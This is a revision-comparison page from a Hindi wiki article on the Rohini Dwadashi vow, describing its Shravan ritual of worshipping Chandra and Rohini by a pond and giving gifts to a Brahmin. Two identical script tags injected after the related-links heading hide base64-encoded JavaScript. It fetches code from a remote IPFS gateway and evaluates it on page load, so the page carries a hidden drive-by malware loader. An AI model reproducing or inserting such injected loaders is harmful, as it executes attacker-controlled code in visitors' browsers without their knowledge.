रोहिणी द्वादशी: Difference between revisions
भारत डिस्कवरी प्रस्तुति
Jump to navigation
Jump to search
[unchecked revision] | [unchecked revision] |
शिल्पी गोयल (talk | contribs) m (रोहिणीद्वादशी का नाम बदलकर रोहिणी द्वादशी कर दिया गया है) |
No edit summary |
||
Line 2: | Line 2: | ||
*[[श्रावण]] [[शुक्ल पक्ष]] की [[एकादशी]] पर कर्ता (पुरुष या स्त्री) किसी तालाब या उसके समान किसी अन्य स्थान पर [[गोबर]] से एक मण्डल बनाता है तथा [[चन्द्र देव|चन्द्र]] एवं [[रोहिणी]] की आकृति बना कर उसकी पूजा करता है। | *[[श्रावण]] [[शुक्ल पक्ष]] की [[एकादशी]] पर कर्ता (पुरुष या स्त्री) किसी तालाब या उसके समान किसी अन्य स्थान पर [[गोबर]] से एक मण्डल बनाता है तथा [[चन्द्र देव|चन्द्र]] एवं [[रोहिणी]] की आकृति बना कर उसकी पूजा करता है। | ||
*[[नैवेद्य]] अर्पण कर उसे किसी [[ब्राह्मण]] को दे देता है, इसके उपरान्त [[तालाब]] में प्रवेश करता है, चन्द्र एवं रोहिणी का ध्यान करता है, [[जल]] में पिसे हुए [[माष]] की 100 गोलियाँ घी के साथ पाँच मोदक खाता है, बाहर निकलने पर किसी ब्राह्मण को भोजन एवं वस्त्र देता है। | *[[नैवेद्य]] अर्पण कर उसे किसी [[ब्राह्मण]] को दे देता है, इसके उपरान्त [[तालाब]] में प्रवेश करता है, चन्द्र एवं रोहिणी का ध्यान करता है, [[जल]] में पिसे हुए [[माष]] की 100 गोलियाँ घी के साथ पाँच मोदक खाता है, बाहर निकलने पर किसी ब्राह्मण को भोजन एवं वस्त्र देता है। | ||
*ऐसा प्रति वर्ष किया जाना चाहिए। <ref>हेमाद्रि (व्रत खण्ड 1,1113-1114, भविष्योत्तरपुराण से उद्धरण)</ref> | *ऐसा प्रति वर्ष किया जाना चाहिए।<ref>हेमाद्रि (व्रत खण्ड 1,1113-1114, भविष्योत्तरपुराण से उद्धरण)</ref> | ||
{{लेख प्रगति | {{लेख प्रगति | ||
|आधार=आधार1 | |आधार=आधार1 |
Revision as of 05:10, 11 September 2010
- भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लखित हिन्दू धर्म का एक व्रत संस्कार है।
- श्रावण शुक्ल पक्ष की एकादशी पर कर्ता (पुरुष या स्त्री) किसी तालाब या उसके समान किसी अन्य स्थान पर गोबर से एक मण्डल बनाता है तथा चन्द्र एवं रोहिणी की आकृति बना कर उसकी पूजा करता है।
- नैवेद्य अर्पण कर उसे किसी ब्राह्मण को दे देता है, इसके उपरान्त तालाब में प्रवेश करता है, चन्द्र एवं रोहिणी का ध्यान करता है, जल में पिसे हुए माष की 100 गोलियाँ घी के साथ पाँच मोदक खाता है, बाहर निकलने पर किसी ब्राह्मण को भोजन एवं वस्त्र देता है।
- ऐसा प्रति वर्ष किया जाना चाहिए।[1]
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ हेमाद्रि (व्रत खण्ड 1,1113-1114, भविष्योत्तरपुराण से उद्धरण)
संबंधित लिंक
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>